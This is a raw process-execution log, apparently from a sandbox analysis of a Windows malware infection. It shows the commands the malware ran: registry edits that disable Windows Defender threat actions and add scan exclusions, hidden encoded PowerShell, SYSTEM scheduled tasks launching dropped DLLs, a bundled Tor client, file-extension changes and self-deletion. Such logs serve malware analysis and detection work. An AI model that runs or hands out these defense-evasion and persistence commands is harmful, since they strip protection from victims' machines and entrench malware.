-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 59560 -ip 595601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 59560 -ip 595601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 59560 -ip 595601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 59560 -ip 595601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 59560 -ip 595601⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 59560 -ip 595601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 59560 -ip 595601⤵
-
C:\Users\Admin\Programs\Adblock\DnsService.exeC:\Users\Admin\Programs\Adblock\DnsService.exe1⤵
- Drops file in Drivers directory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 31828 -ip 318281⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe"C:\Users\Admin\AppData\Local\Temp\csrss\tor\Tor\tor.exe" --nt-service -f "C:\Users\Admin\AppData\Local\Temp\csrss\tor\torrc" --Log "notice file C:\Users\Admin\AppData\Local\Temp\csrss\tor\log.txt"1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\AcqpCOVIgRzGUiXJS\DHCFwIeGsAzCKgD\UjjGPYy.exeC:\Users\Admin\AppData\Local\Temp\AcqpCOVIgRzGUiXJS\DHCFwIeGsAzCKgD\UjjGPYy.exe Lt /site_id 525403 /S1⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HApdKakDuToYC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HApdKakDuToYC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WdewYwNuU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WdewYwNuU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aPsLpItOHpzEtPCAktR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aPsLpItOHpzEtPCAktR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\coJkIEbTfJUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\coJkIEbTfJUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pEACwMKuTgIU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pEACwMKuTgIU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hXOsdMjPGleChsVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hXOsdMjPGleChsVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AcqpCOVIgRzGUiXJS\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AcqpCOVIgRzGUiXJS\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\rFmnYBgrlAgsLMYg\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\rFmnYBgrlAgsLMYg\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HApdKakDuToYC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HApdKakDuToYC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HApdKakDuToYC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WdewYwNuU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WdewYwNuU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aPsLpItOHpzEtPCAktR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aPsLpItOHpzEtPCAktR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\coJkIEbTfJUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\coJkIEbTfJUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pEACwMKuTgIU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pEACwMKuTgIU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hXOsdMjPGleChsVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hXOsdMjPGleChsVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AcqpCOVIgRzGUiXJS /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AcqpCOVIgRzGUiXJS /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\rFmnYBgrlAgsLMYg /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\rFmnYBgrlAgsLMYg /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gTnuyPxtq" /SC once /ST 06:31:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gTnuyPxtq"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gTnuyPxtq"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BAwVXnBkBsrRqMVYb" /SC once /ST 13:00:26 /RU "SYSTEM" /TR "\"C:\Windows\Temp\rFmnYBgrlAgsLMYg\fDIEDzuScANKhgH\kyqEtcd.exe\" MZ /site_id 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BAwVXnBkBsrRqMVYb"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\CD97.dll1⤵
-
C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\CD97.dll2⤵
- Loads dropped DLL
-
C:\Windows\Temp\rFmnYBgrlAgsLMYg\fDIEDzuScANKhgH\kyqEtcd.exeC:\Windows\Temp\rFmnYBgrlAgsLMYg\fDIEDzuScANKhgH\kyqEtcd.exe MZ /site_id 525403 /S1⤵
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bSzxbwoNcBikuvBHSi"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\WdewYwNuU\aHIguq.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ebGadQBtbggNapQ" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ebGadQBtbggNapQ2" /F /xml "C:\Program Files (x86)\WdewYwNuU\bFgVpCf.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "ebGadQBtbggNapQ"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ebGadQBtbggNapQ"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "VoLgCqwXSOmCuV" /F /xml "C:\Program Files (x86)\pEACwMKuTgIU2\lRauDbt.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "xfSovbsduoklI2" /F /xml "C:\ProgramData\hXOsdMjPGleChsVB\ovSZlDi.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "EkTppTUtSTFFWWbHk2" /F /xml "C:\Program Files (x86)\aPsLpItOHpzEtPCAktR\CrenmMs.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "LJAoHKUFWpXEifEFcOK2" /F /xml "C:\Program Files (x86)\HApdKakDuToYC\efdWKDw.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "cbclLxrFZKNgjaseQ" /SC once /ST 01:33:11 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\rFmnYBgrlAgsLMYg\PKKDjsuX\fSStTvT.dll\",#1 /site_id 525403" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "cbclLxrFZKNgjaseQ"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "BAwVXnBkBsrRqMVYb"2⤵
-
C:\Users\Admin\AppData\Local\Temp\1C64.exeC:\Users\Admin\AppData\Local\Temp\1C64.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\1C64.exeC:\Users\Admin\AppData\Local\Temp\1C64.exe2⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\1C64.exe"C:\Users\Admin\AppData\Local\Temp\1C64.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\1C64.exe"C:\Users\Admin\AppData\Local\Temp\1C64.exe" --Admin IsNotAutoStart IsNotTask4⤵
- Modifies extensions of user files
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\a0fc5ee5-3710-4970-a5e5-9f3184072630\build2.exe"C:\Users\Admin\AppData\Local\a0fc5ee5-3710-4970-a5e5-9f3184072630\build2.exe"5⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\a0fc5ee5-3710-4970-a5e5-9f3184072630\build2.exe"C:\Users\Admin\AppData\Local\a0fc5ee5-3710-4970-a5e5-9f3184072630\build2.exe"6⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\a0fc5ee5-3710-4970-a5e5-9f3184072630\build2.exe" & del C:\PrograData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 47440 -s 17447⤵
- Program crash
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\rFmnYBgrlAgsLMYg\PKKDjsuX\fSStTvT.dll",#1 /site_id 5254031⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\rFmnYBgrlAgsLMYg\PKKDjsuX\fSStTvT.dll",#1 /site_id 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "cbclLxrFZKNgjaseQ"3⤵
-
C:\Users\Admin\AppData\Local\Temp\43F2.exeC:\Users\Admin\AppData\Local\Temp\43F2.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
